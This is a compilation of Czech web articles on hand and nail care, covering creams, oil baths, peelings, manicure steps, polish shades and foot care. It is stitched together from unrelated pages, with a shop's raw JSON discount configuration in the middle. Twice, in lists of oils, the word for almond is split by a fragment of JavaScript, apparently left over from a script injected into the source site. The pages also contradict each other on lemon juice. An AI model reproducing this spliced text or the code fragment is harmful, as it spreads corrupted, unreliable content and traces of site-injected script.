Vybírejte si z mnoha a mnoha mýdel, jak tekutých, tak tuhých. Dávejte ale pozor na to, aby tato mýdla měla vysoký obsah hydratačních látek. Nepotřebujeme mýdla, která nám budou vysušovat pokožku. U mytí rukou dbejte na to, aby jste umyla i prostory mezi prsty.
2. Krém
Krém, kolikrát denně ho použijete? Jednou? Dvakrát a kolikrát je dost? Zde záleží na profesi, kterou vykonáváte. Máte namáhané ruce prací, zdravotnictví, továrna, úklid, pekárna atd.
? Pak by jste měli krémovat dle potřeby, třeba i 5x za den. Takže zde platí, krémujte dle potřeby, ale alespoň 1x za den a to na noc.
Dále je důležité vybírat správný krém na ruce, určitě by měl obsahovat lipidy a glycerin-toto je základ.
3. Ochrana rukou
Pokud se chystáte mýt nádobí, uklidit nebo pracovat na zahrádce, použijte určitě ochranné rukavice. Různé čistící prostředky mají pro naši kůži na rukou silný dehydratační účinky. Tvoří se nám pak záděry, různé oděrky a někdy i praskliny. Nehty na rukou se nám třepí a lámou.
4. Peeling?
Ano i peeling na ruce, stejně jako na obličej a tělo je nesmírně důležitý. Uvidíte, že po použití peelingu budete mít ruce hedvábné a jemné. Po peelingu ruce vždy lehce prokrémujte. Doporučuji použít alespoň 1x měsíčně u profesionální péče. Ale domácí péče je velmi důležitá a proto ideální je 3x-4x měsíčně.
5. Masáž
Asi již všichni jsme poznali, jak blahodárně na nás působí masáž zad. Dopřejme i našim rukám masáž, lehce vetřete krém s kapkou oleje (mandlový, arganový aj.). Krouživými pohyby masírujte. Je spousta technik a masáží, důležité je dodržení tahů směrem k srdci ????
6. Skvrny na rukách a nehtech
Zažloutlé nehty mohou být způsobené například používáním barevných laků bez podkladových bází a nebo také kouření. Skvrny se mouhou také utvořit z řepy, mrkve, dýně. Zde snad jedna dobrá rada na domácí použití a to je citrónová šťáva. Vymačkejte do misky a ponořte ruce do šťávy a nechte působit.
7. Tvar nehtů
Pilujete si nehty pilníkem? Pak pouze jedním směrem! Jinak se nehty třepí a nikdy nebudou mít pěkný tvar. Na přírodní nehty na domácí použití vybírejte vždy jemné pilníky. Ideální je zajít si na manikúru a koupit si stejný pilník, který použije manikérka.
8. Ošetření nehtové kůžičky
Zde rozhodně doporučuji používat denně na nehtovou kůžičku speciální olejčky, které budou pečovat o vaši kůžičku. Před nanesením krému, lehce vmasírujte olejček ke kořeni nehtu na kůžičku a jemně vmasírujte. Pak nakrémujte. Tato péče se vám odmění krásným a zdravým nehtem. Zakoupit můžete rovněž u vaši manikérky.
9. Krátké nebo dlouhé nehty?
Zde platí, že pokud máme nehty zesláblé, třepící a nebo poškozené, udržujte je v co možná nejratším tvaru. Budou vypadat mnohem lépe než snaha o dlouhý nehet. Rozhodně je dobré zamyslet se nad vnitřním prostředím organismu a to zejména správná hladina minerálů a vitamínů.
10. Pravidelná profesionální péče
Zde platí, že je to základ úspěchu krásných rukou, které se nám odmění v práci, doma a zejména budou hebké na dotek a pohlazení od těchto rukou budete chtít vždy.
Naše služby
3 rady a tipy, jak mít dlouhé přírodní nehty
Ženy v sobě mají od přírody zakódováno, že chtějí být atraktivní a co nejvíc zaujmout své okolí. Nadýchané vlasy, zářivá pleť, hebká pokožka, lichotivá postava, to je to, oč tu běží. A třešnička na dortu tomu všemu? Krásné dlouhé a zdravé přírodní nehty. Jak jich dosáhnout? To brzy zjistíte.
Trendem dnešní doby je přirozená krása. Není pevně dané, co musíte nosit nebo jak se líčit, ale je kladen důraz na přirozený vzhled a hlavně, abyste byla ve vlastním těle spokojená. I ve světě manikúry se ledasco změnilo.
Přehnaně dlouhé špičaté nebo hranaté nehty plné barev už nejsou v kurzu. Přirozený elegantní vzhled je to pravé ořechové.
Jak ale získat dokonalý tvar a délku, když se vám nehty lámou, třepí nebo skoro nerostou? Tyto 3 rady vám mohou pomoci.
Pozor na vodu
Asi pro vás není velkým překvapením, že dlouhá doba v bazénu, sprše nebo vaně nehtům nesvědčí. Změknou a jsou velmi náchylné k poškození a ulomení. Proto vždy ruce důkladně osušte a vyhněte se po koupání bezprostřední zátěži nehtů. Pozor dávejte i při mytí nádobí a používejte rukavice. Ochranu ocení nejen nehty, ale i pokožka rukou.
Fyzická námaha
Každá činnost, při které nasazujete ruce a nehty do akce, ať už jde o práci, koníček nebo domácí úklid, je chvílí, kdy mohou dojít k úhoně. Pokud si nechcete nehty zlomit, je dobré je dodatečně zpevnit. Možná se vám to nezdá, ale pomůže i jedna nebo dvě vrstvy klasického laku na nehty, třebaže obvykle nevydrží déle, než pár dní.
Tip: Lepší alternativou laku je gel lak. Práce s ním je obdobná, ale je pevnější, pružný, a na nehtech vydrží i dva týdny bez poškození. Při jeho aplikaci je ovšem nutná UV nebo LED lampa.
Pokud se pro gel lak rozhodnete, doporučujeme pořízení výhodné sady na úpravu nehtů gel lakem, kde najdete vše potřebné včetně návodu.
Vitamíny a minerály do akce
Měkkým, krátkým nehtům často chybí dostatek minerálů a vitamínů. Raději, než běžet do lékárny a polykat prášky se zaměřte na potraviny obsahující vitamíny C, B, A, a také na dostatek železa a zinku.
Také myslete na to, že nejdůležitější při regeneraci je čas. Po žádném ovoci ani pilulce vám nehty ze dne na den nenarostou. Počítejte s týdny, než zaznamenáte jasně viditelné zlepšení kvality nehtů, ale i kůže a vlasů. Čekání se ale vyplatí.
Nehty zesílí a naberou zpět zdravou barvu.
Velkým pomocníkem, kromě vyvážené stravy, je také pravidelné mazání rukou kvalitními krémy a vyživování nehtů za pomoci speciálních olejíčků.
Kromě jejich posilujících účinků si navíc můžete vychutnat i celou škálu ovocných a květinových vůní. Právě díky nim je aplikace tolik příjemnou a relaxační záležitostí. Za chvíli budete mít nehty jako ze salónu, pouze s tím rozdílem, že budou vaše vlastní, nikoliv umělé :)!
Jak mít krásné a zdravé ruce
Abychom předešli nadměrnému vysoušení rukou, které s sebou přináší i nepříjemné pocity pnutí a svědění, doporučuje se mazat si ruce pravidelně, v zimě ideálně po každém umytí. Někomu je pocit hutného, mastného krému přes den nepříjemný, proto volte radši lehčí krémy, které se ihned vstřebají. Na noc je naopak vhodný krém mastnější, s hutnější konzistencí, který přes noc ruce krásně zregeneruje. Mimo to můžeme našim rukám dopřát přímo lázeňskou péči za pomoci výživných olejů.
Olejová lázeň pro ruce i nehty
Olejovou lázeň si doma připravíme velmi jednoduše. Stačí si ve skleněné misce nahřát trochu olivového oleje a ponořit do něj prsty. Můžete také lehce vmasírovat olej do nehtů, které díky tomu budou vyživené a na pohled o poznání lesklejší. Ideální je dopřát si takovou lázeň během relaxace, například u sledování vašeho oblíbeného pořadu.
Tip: Máte-li ruce hodně vysušené, zabalte je po této lázni do igelitových pytlíků nebo rukavic a přes ně navlékněte teplé rukavice. Stačí 10-15 minut
Masáž pro nehtovou kůžičku
Nehtová kůžička bývá často suchá, tvrdá a tvoří se na ní bolestivé a nevzhledné záděrky. Přitom vzhled a zdraví vašich nehtů do určité míry závisí právě na stavu nehtové kůžičky.
Věnujte jí tedy alespoň občas chvilku a dopřejte si příjemnou masáž.
Postačí vám pár kapek oleje, skvělý je na to například mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlový, které postupně vmasírujete do nehtových kůžiček. Poté nechte olej vsáknout.
Výživný zábal na noc
Přes noc vám ruce krásně zregenerují, pokud si je namažete vaším oblíbeným olejem nebo výživným krémem a následně si navléknete bavlněné rukavice. Zakoupíte je skoro v každé drogerii, nebo můžete použít nějaké vysloužilé.
Nejvhodnější je krém s bambuckým máslem.
Co se týče olejů, na našem trhu je jich opravdu mnoho, osvědčený je například olej arganový, jojobový, konopný, mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlový, lněný, makadamiový, olivový nebo ricinový.
Tip: Pokud si ráno plánujete mýt vlasy, můžete trochu oleje vetřít i do jejich konečků.
Květa Čermáková
Krásné ruce: Jak na to, aby prsty vypadaly štíhlejší?
Foto: Irina Bg, Shutterstock.com
Dlouhé štíhlé prsty, tenká zápěstí a dokonalá manikúra – přesně tak v našich představách vypadají ruce éterických umělkyň a aristokratek. Kdo by je nechtěl? Bohužel naše vize jsou často s realitou v rozporu. Naučíme vás triky, díky kterým své ruce přiblížíte ideálu!
Krása není pouze o dědičnosti a vrozených předpokladech, ale také o optické iluzi. Vlasům dodáváte objem, rty si malujete tak, aby vypadaly větší, tvář si umíte zúžit díky správnému contouringu.
Co udělat proto, aby dokonale vypadaly i vaše ruce? Krátké nebo buclaté prsty a široká zápěstí vyniknou obzvlášť v létě, kdy vám končetiny natékají. Prozradíme vám, jak s tím zatočit a jak zařídit, aby vaše ruce byly vizuálně štíhlejší a krásnější.
Pokud jste náchylná k otokům a zadržování vody, součástí vašeho každodenního ranního i večerního beauty rituálu by se měla stát masáž. Nejlépe koupelovým kartáčem s tvrdšími přírodními štětinami.
Této metodě se říká brushing a může se provádět jak nasucho, tak i ve sprše. Brushing má zázračný vliv na celé tělo, ale na končetiny obzvlášť, protože rozproudí krev od samotných konečků prstů.
Uvidíte, že se otoky už po týdnu výrazně zlepší.
Foto: Dan Race, Shutterstock.com
Nešetřete se a přitlačte. Po pravidelné masáži nebudou ruce v létě tolik natékat. A když už budete v tom, namasírujte si i místa postižená celulitidou
Jsou vaše ruce rudé, plné pigmentových skvrn, nebo naopak poseté modrými žilkami? I s tím se dá bojovat. Kupte si tónovací (samoopalovací) sprej na nohy. Použijte ho na vnější část rukou a zápěstí. Nepatrný nádech opálení a vyrovnaný tón pleti udělají s rukama divy!
Na foto (zleva): Tónovací sprej na nohy Airbrush legs, Sally Hansen, 199 Kč. Voděodolný zkrášlující tělový make-up, Dermacol, 149 Kč
Když mluvíme o štíhlosti rukou, zde hrají fenomenální roli především nehty. Jejich tvar, délka, úprava kutikul i barvy laků, na tom všem opravdu záleží!
Délka je samozřejmě vítána, ale jen v rozumných mezích. Ideální je, když je samotný nehet jen o několik milimetrů delší než bříška prstů. Nejlichotivější tvar je pak oválný, mandlový, nebo hranatější lehce zaoblený po krajích. Hlavním cílem je, aby samotný nehet byl výrazněji delší než širší.
Foto: LightField Studios, Shutterstock.com
Délka nehtu by se měla odvíjet od jejich tvaru. Některému sluší jen krátká varianta
Ještě víc ho pak vizuálně prodloužíte, když kůžičku posunete co nejblíže k nehtovému lůžku (zatlačujte, nestříhejte). Půjde to úplně samo, když na ni necháte několik minut působit olejíček a následně ji zatlačíte speciálním dřívkem na nehty. Díky tomu budou vaše prsty vypadat zase o kousek delší.
Foto: puhhha, Shutterstock.com
Kůžičku určitě neodstraňujte, stačí ji změkčit a posunout směrem dolů. I takto jednoduše dokážete samotnému nehtu přidat na délce
Velmi důležité je volit takové odstíny laků, které nebudou zvýrazňovat červený podtón vaši pleti. To neznamená, že je s klasickou červenou utrum, jen se ujistěte, že je do studena s modrým podtónem.
Jestli máte pleť spíše dozlatova, vyhněte se taky fialové nebo šedivé, a naopak sáhněte po výraznější korálové nebo tmavší červené.
Pokud se pyšníte bílou a porcelánovou pokožkou, nedoporučujeme odstíny modré a tyrkysové.
Dalším trikem, který pomůže obzvlášť těm, kdo trvají na krátkých hranatých nehtech, je způsob lakování. Nechte vždy po bočních stranách tenký nenalakovaný proužek a barevně nejsytější udělejte prostředek nehtu. To ho vizuálně prodlouží a hlavně zúží.
Foto: Syda Productions, Shutterstock.com
Přišel čas na velké výrazné šperky. Díky nepřehlédnutelným prstenům a náramkům budou vaše ruce vypadat štíhleji a drobněji
Tenké a jemné šperky můžou způsobit, že budou vaše prsty a ruce vypadat silněji, než ve skutečnosti jsou. S mohutnějšími kousky se budou zdát ruce drobnější. Je taky maximálně důležité, aby se klenoty nikde nezařezávaly (vytváří to „buřtíky“) a aby velikost dokonale seděla.
Máte své vlastní tipy, jak na štíhlé ruce?
Krok za krokem: Krásné nehty za pět minut | Žena.cz
Jak si udělat základní nehtovou úpravu tak, abyste se za své ruce nemusela ve společnosti stydět? Zeptali jsme se Lucie Švehlové, manikérky ze studia Bomtom Florentinum.
1) Pokud máte na nalakované nehty a lak už je trochu oprýskaný, odlakujte je. Přelakovat původní lak tmavším ani jiným lakem není příliš vhodné. Nevypadá to hezky, nedoporučuji to.
2) Nehty po odlakování zapilujeme pilníkem do požadovaného tvaru.
3) Poté můžeme pomocí olejíčku a pomerančového dřívka ošetřit okolí nehtů.
4) Použijte výživný bezbarvý lak. Nehet je pak krásně lesklý.
5) Samozřejmě je vhodné kůžičku kolem nehtů vyživit olejíčkem a ruce namazat krémem.
6) Pokud by nám přece jen zbyl čas na lakování, doporučuji malý trik: aby lak na nehtech déle vydržel je dobré zalakovat špičky nehtů.
Video Mohlo by Vás také zajímat: Objevila jsem, co mám v medicíně dělat. Zdraví někdy není v nabídce, říká paliatrička | Video: Daniela Písařovicová
Pokud jste v článku zaznamenali chybu nebo překlep, dejte nám, prosím, vědět prostřednictvím kontaktního formuláře. Děkujeme!
Jak mít jemné ruce
-
1
Používejte krémy na ruce. Krémy na ruce jsou nejjednodušším způsobem, jak si udržet jemné ruce. Seženete je v mnoha variantách.
- Kdykoli si umyjete ruce, natřete si je krémem. Krém na ruce si dejte na noční stolek, do koupelny a k pracovnímu stolu, abyste ho měli vždy po ruce.
- Kupte si krém s obsahem bambuckého másla, vitamínu B a retinolu. Tyto přísady zajistí, že budete mít jemné ruce ještě dlouho poté, co si je natřete krémem.
- Minerální oleje a lanolin pleť hydratují. Krémy s obsahem kyseliny mléčné zase zjemňují pleť. Glycerin a dimethicone dodávají pleti vlhkost a kyselina hyaluronová zabraňuje vysoušení pokožky. [1]
-
2
Pečujte o své ruce pomocí přírodních olejů. Pokud si nechcete kupovat krémy na ruce, můžete používat přírodní oleje. [2]
Jen malé množství oleje vám ruce okamžitě zjemní, takže jde pravděpodobně o levnější variantu. Všechny následující oleje můžete použít i při vaření, ale jsou zdravé také pro pleť, nehty a vlasy:- Avokádový
- Mandlový
- Aloe vera gely
- Kokosový
- Olej z kakaového másla
- Slunečnicový
- Olivový
-
3
Vyrobte si vlastní cukrový peeling. Peelingy se většinou vyrábějí se zklidňujícími a hydratačními látkami, které také pomáhají vyhlazovat pleť. Koupíte je v každé drogerii, ale pokud chcete, můžete si je vyrábět i sami doma.
- Smíchejte si několik lžic krystalového cukru s olivovým nebo kokosovým olejem, vytvořte pastu a dvě minuty si ji vtírejte do rukou. Potom se opláchněte teplou vodou. Měli byste mít ihned jemnější ruce. [3]
- Můžete přidat i několik kapek mátového nebo levandulového esenciálního oleje. Pokud nechcete používat cukr, použijte strouhaný včelí vosk, nebo sůl.
-
4
V zimě byste měli o své ruce pečovat více. V chladných teplotách vaše pleť trpí. Pokud žijete v oblasti s tuhými zimami, budete muset svým rukám dopřávat hloubkovou péči pomocí páru starých ponožek, abyste je udrželi hebké. Je to jednoduché a efektivní:
- Dejte si do mikrovlnky na 15 vteřin čisté ponožky. Natřete si ruce silnou vrstvou krému, ale nevtírejte do ho pokožky.
- Dejte si na ruce ponožky a 10-20 minut odpočívejte. Potom si ponožky sundejte a vetřete si do rukou zbývající krém. [4]
- Můžete si ponožky nechat na rukou i přes noc. Zní to sice zvláštně, ale ponožky fungují lépe, než rukavice a snáze je vyperete.
-
5
V případě potřeby používejte hloubkově vyživující balzám. Pokud se vám ruce loupou a máte je extrémně vysušené, používejte speciální balzámy na ruce. Tyto gelové krémy se používají na velmi vysušenou pleť. Vtírejte si je do dlaní, do kloubů a do dalších vysušených míst na rukou po několik dní, dokud se vaše kůže nezjemní.
-
6
Berte doplňky stravy, které hydratují. Nedávná studie zjistila, že len a brutnák lékařský pomáhají hydratovat pleť a zjemňují její hrubost. Tyto mastné kyseliny byste měli do těla dostávat přirozeně v potravě, ale pokud trpíte suchou pletí, doplňky potravy jako je lněný olej, olej z brutnáku lékařského nebo dokonce večerní petrklíč vám mohou pomoci. [5]
-
7
Vyhýbejte se citronové šťávě a vazelíně. Lidé si suché ruce často natírají vazelínou, nebo si na ně dávají citronovou šťávu, ale měli byste se tomu vyhýbat. Lékaři tyto přípravky v žádném případě nedoporučují. [6]
- Vazelína funguje jako bariéra a pleť ve skutečnosti nehydratuje. Když si s ní natřete ruce, nebudou se vám sice loupat, ale budete je mít stále stejně vysušené.
- Odborníci se neshodují na tom, zda je vhodné používat citronovou šťávu pro zjemnění pleti, nebo zda kyselina citronová pleť spíše dráždí. [7]
Nikdy si nedávejte citronovou šťávu na pleť, když se chystáte na slunce, jinak se vám pokožka spálí.
Jak získat krásné, pěstěné ruce
- Domů
- / Jak získat krásné, pěstěné ruce
Očista rukou je prvním krokem v rituálu krásy.
Nevyhneme se však nenápadnému nepříteli: vodě! Po každém umytí rukou se ujistěte, že jste je důkladně osušili. Používejte také co možná nejšetrnější mycí prostředky, které nebudou ruce ještě více vysušovat.
Sáhněte po mýdle s jemným složením, jako je tekuté mýdlo Verbena, obohacené o bambucké máslo.
OBJEVTE
Pokožka miluje peeling: ta na vašich rukách si ho zamiluje také! Použijte jednou či dvakrát týdně peeling určený speciálně pro ruce. Odstraníte tak odumřelé buňky a pokožka bude připravena plně vstřebat hydratační krém.
OBJEVTE
Jaké je tajemství krásných rukou? Hydratace, hydratace, hydratace. Váš krém na ruce by vám měl být věrným společníkem, hotovým pro použití kdykoliv budete potřebovat, aby tak pomáhal pečovat o jejich přirozený ochranný film.
Měl by vyživovat, hydratovat a chránit. Účinný krém na ruce obsahuje mastící a hydratační složky, jako například bambucké máslo, a také antioxidanty, například vitamin E.
Právě toto spojení stojí za úspěchem Krému na ruce Bambucké máslo, který je bestsellerem L’OCCITANE již více jak 20 let.
OBJEVTE
Důležité je nezapomínat ani na nehty a nehtovou kůžičku. Kůžička okolo nehtů má ochranou funkci – proto je potřeba se o ni starat a zabránit tak nežádoucím „záděrkám“.
Výživný olej na nehty a nehtovou kůžičku s bambuckým máslem zjemňuje nehtovou kůžičku a zároveň posiluje samotné nehty.
Výživový tip: Ujistěte se, že máte ve svém jídelníčku potraviny bohaté na biotin, jako jsou luštěniny, sójové boby a mandle.
OBJEVTE
V zimě jsou naše ruce díky chladu a mrazivému větru náchylnější k vysušení a pocitu nepohodlí.
Ujistěte se, že své ruce dostatečně hydratujete za všech okolností a že použijete hydratační krém na ruce vždy, když jdete ven.
Zejména pokud nenosíte rukavice! Během noci je nejlepší čas na regeneraci buněk, naneste proto na ruce silnou vrstvu krému a nechte ji během spánku vstřebat. Ráno budete mít ruce hebounké a krásné.
OBJEVTE
Dostávejte od nás informace o našich novinkách, exkluzivní nabídky a tipy pro krásu…
„discounts“: {„darek9“: { „products“: [„sada-za-specialni-cenu-pece-o-plet-1“,0 ], „type“:“single_product“, „headding“:““, „success“:“DÁREK pro členy Provence Beauty Club“, „threshold“:“1990″ },“web9″: { „products“: [„vas-darek-online“,0 ], „type“:“single_product“, „headding“:““, „success“:“Váš DÁREK online“, „threshold“:“2100″ },“rok21″: { „products“: [„“,0 ], „type“:“single_product“, „headding“:““, „success“:“270 KC discount“, „threshold“:“1090″ },“3plus1″: { „products“: [„“,0 ], „type“:“single_product“, „headding“:““, „success“:“3 plus 1″, „threshold“:“1″ },“21ld09″: { „products“: [„sada-dny-loccitane-make-up-duo“,“sada-dny-loccitane-make-up-duo-3″,“sada-dny-loccitane-make-up-duo-2″,“sada-dny-loccitane-make-up-duo-1″,““,““,0 ], „type“:“gift_selector“, „headding“:“L'OCCITANE DNY“, „success“:“L'OCCITANE DNY“, „threshold“:“2990″ },“narozeniny21″: { „products“: [„sprchovy-gel-verbena“,“sprchovy-gel-tresnovy-kvet“,“organicky-sprchovy-gel-levandule“,“sprchovy-gel-loccitan-1″,“sprchovy-gel-cap-cedrat-1″,““,0 ], „type“:“gift_selector“, „headding“:“Narozeninový dárek k nákupu nad 620 Kč“, „success“:“Narozeninový dárek k nákupu nad 620 Kč“, „threshold“:“0″ },“welcome“: { „products“: [„to-nejlepsi-z-provence“,0 ], „type“:“single_product“, „headding“:““, „success“:“Balíček k prvnímu nákupu To nejlepší z L'OCCITANE k nákupu nad 595 Kč.“, „threshold“:“595″ },“voda“: { „products“: [„esencialni-voda-slamenka-2“,0 ], „type“:“single_product“, „headding“:““, „success“:“DÁREK PRO ČLENY PROVENCE BEAUTY CLUB“, „threshold“:“620″ }}
Jak mít krásné nehty i bez možnosti péče od profesionála
Domácí manikúra
Foto: Profimedia.cz
Péče o přírodní nehty není tak složitá jako o ty umělé. „Nehet je třeba pilovat vždy jen jedním směrem, jinak by se mohl začít třepit. Svým zákaznicím radím manikúru aplikovat po koupeli, kdy jsou nehty vláčné a změklé. Lépe se pak pracuje i s nehtovou kůžičkou, kterou lze jemně zatlačit pomocí plátěného kapesníku či pomerančového dřívka. Posloužit mohou také pečující a vyživující olejíčky, které jsou pro úpravu kůžičky i celého nehtu vhodné,“ radí profesionální manikérka Naďa Límová.
Péče o nehtové lůžko a kůžičku
Foto: archív firem
| Foto: Manufaktura Olejová péče na nehty a nehtovou kůžičku, 149 Kč; Marionnaud My Nail & Cuticle Elixir – sérum na nehty a nehtovou kůžičku, 169 Kč; Oriflame Noční maska na nehty The ONE Expert Care, 119 Kč; s.he odstraňovač nehtové kůžičky, dm.cz 90 Kč |
Nehtovou kůžičku nikdy nestříhejte. Kůžička chrání nehet před bakteriemi a plísněmi a její odstranění může vést k infekci.
Po této proceduře je třeba nechat ruce uschnout, vstřebat nanesenou výživu a odpočinout.
Krátké umytí rukou nevadí, v době covidu je naopak nutností. Dvě až tři hodiny předem se ale vyhněte umývání nádobí nebo koupání, na rozmáčených nehtech lak nevydrží.
Péče o ruce a nehty
Foto: archív firem
| Foto: Balea maska na ruce, dm.cz 85 Kč; Korika SciBeauty regenerační maska na ruce a nehty, Notino 95 Kč; Lush Lemony Flutter Máslo na nehtovou kůžičku a ztvrdlou kůži, 295 Kč; Grown Alchemist Cuticle Oil: Hypericum Extract, Neem, Borage. Olejíček na opravu a zpevnění pokožky a nehtů. Viditelně vyhlazuje, vyživuje a zjemňuje pokožku okolo nehtů, 570 Kč |
Než nanesete na nehty lak, nejprve je ošetřete odlakovačem. Při jeho výběru by měl být kladen důraz na stav a zdraví nehtů. Aceton obsažený v řadě odlakovačů totiž nehty vysušuje, proto není vhodný pro použití na lámavých a suchých nehtech.
Odlakovač s acetonem naproti tomu velmi dobře poslouží milovnicím třpytivých laků, které pak lze z nehtu odstranit s mnohem menším úsilím.
Odlakovač použijte i v případě, kdy na nehtech není původní lak. Odstraníte tím mastnotu a manikúra déle vydrží.
Změny na nehtech, které byste neměli ignorovatZdraví
Na takto připravené nehty naneste vrstvu tzv. spodního laku. „Nehty jsou porézní – barevný pigment se do nich rychle vpije a bez báze se na nich objeví nevzhledné žluté skvrny. Ty vznikají nejčastěji působením červeného laku. Díky podkladové bázi navíc vydrží manikúra déle a nehty budou zdravější a pevnější,” doporučují odbornice z dm drogerie.
Nanesení barevného laku je tou nejnáročnější fází. „Lahvičku nejprve jemně proválejte v teplých dlaních, aby se spojily pigmenty. Určitě s ní netřeste, vznikly by bublinky,“ radí Naďa Límová.
„Lak poté štětečkem jemně roztáhněte nejprve uprostřed lůžka, a posléze i po stranách. Méně je více, proto nanášejte velmi tenké vrstvy laku raději opakovaně, aby dříve zaschnul.
Pokud zručnost dovolí, zkuste volný okraj nehtů nalakovat i ze spodní části.
Přetažení si nevyčítejte a mějte po ruce připravenou vatovou tyčinku napuštěnou odlakovačem či přímo korektor k tomu určený,“ podotýká manikérka.
Nehty byste neměla nechávat nalakované déle než 2 týdny. Buňky v nehtech jsou tvořené proteiny, které může dlouhodobé vystavení laku poškodit. Proto občas dopřejte nehtům odpočinek od laku, aby se mohly tyto buňky obnovit.
Do profesionálně vytvořených nehtů by se správně nemělo zasahovat vůbec. Nicméně doba od poslední možné návštěvy je bohužel dlouhá a naděje, že se to brzy změní, je minimální, proto se zřejmě neubráníte sáhnutí po hrubším pilníku.
„Pomocí něj nejprve zkraťte nehet na požadovanou délku. Pak začněte zbrušovat horní část tak, aby navázala na nehet přírodní. Důležité je dávat pozor, aby kromě gelu nešla při pilování dolů i část nehtového lůžka, hojení je nepříjemné a trvá dlouho. Až se budete přibližovat k lůžku, zvolněte tempo a vyměňte hrubší pilník za jemnější,“ upozorňuje profesionální manikérka.
Úpravě gelových nehtů pomocí nůžek je lepší se zcela vyhnout, mohly by napáchat více škody než užitku.
Gelové nehty
Foto: archív firem
| Foto: Gelový lak na nehty Eveline Cosmetics Nail Therapy Professional |
Jak mít krásné ruce a nohy | rady
– hydratační krém- pilník, nůžtičky, tyčinka na zatlačení kůžičky- pemza
– lak na nehty
Péče o ruce není extra složitá. Každodenní běžnou záležitostí by mělo být alespoň používání hydratačních krémů. Pokožka tak bude na dotyk jemná a ne popraskaná. Kůže na rukou dostává opravdu zabrat: mytí nádobí, vaření atd. Nepodceňujte tedy péči o ruce a dopřejte jim alespoň základní starost.
Nehty na rukou jsou hodně viditelné a často poutají pozornost. Nemusíte navštěvovat špičkové salóny a každý měsíc utrácet stovky za dokonalou manikúru. Nehty si můžete zkrášlit i v pohodlí domova.
Stačí vám k tomu pilník a lak na nehty. Jestliže nechcete trávit čas úpravou nehtů, tak dbejte na to, aby se vám za nimi neusazovaly nečistoty.
Pozor na známý zlozvyk kousání nehtů, jelikož okousané nehtíky rukám zrovna nelichotí.
Starat se o své nohy mnoho lidí zapomíná. Ony si to přitom rozhodně zaslouží. Často tráví celé dny v botách a jsou poté unavené a bolavé. Stejně jako u rukou i tady byste měli používat hydratační krém na zvláčnění pokožky. Jeho pravidelné nanášení může zmírnit tvrdnutí kůže.
To se často děje zejména na patách. Tvrdá kůže musí být obrušována, pokud se jí nebudete zbavovat, tak vám ztvrdlá místa mohou působit i bolest. Pro tento účel se výborně hodí pemza. I nohy můžete zkrášlit tím, že na nich upravíte nehty.
Je to velmi propagované zejména v letních měsících.
Jakékoli kožní problémy řešte s kožním lékařem. Při ortopedických potížích se obraťte na ortopeda. V žádném případě příznaky toho, že něco není v pořádku, neignorujte.
Jak se zbavit zápachu bot a nohou Trápí vás zápach nohou a bot? Tato nepříjemnost se týká většinou mužů, ale ani ženy nejsou výjimkou. Zápach nohou a bot může potkat i toho nejčistotně… Jak se zbavit lámavosti nehtů | rady Jak se zbavit lámavosti nehtů | rady. Jsou to především ženy a dívky, které maximálně dbají na svůj zevnějšek. Není to však pouze vzhled jejich obliče… Jak na záděry u nehtů Záděry kolem nehtů jsou nepříjemná záležitost a dovedou postiženého pěkně potrápit. Když pomineme aspekt estetický, který vnímají zejména ženy, jedná… Teď už vám neuteče žádný recept nebo návod.
Všechny nové recepty, sezónní rady, tipy a návody najdete v pravidelném JakTak zpravodaji ve své e-mailové schránce. ZDARMA.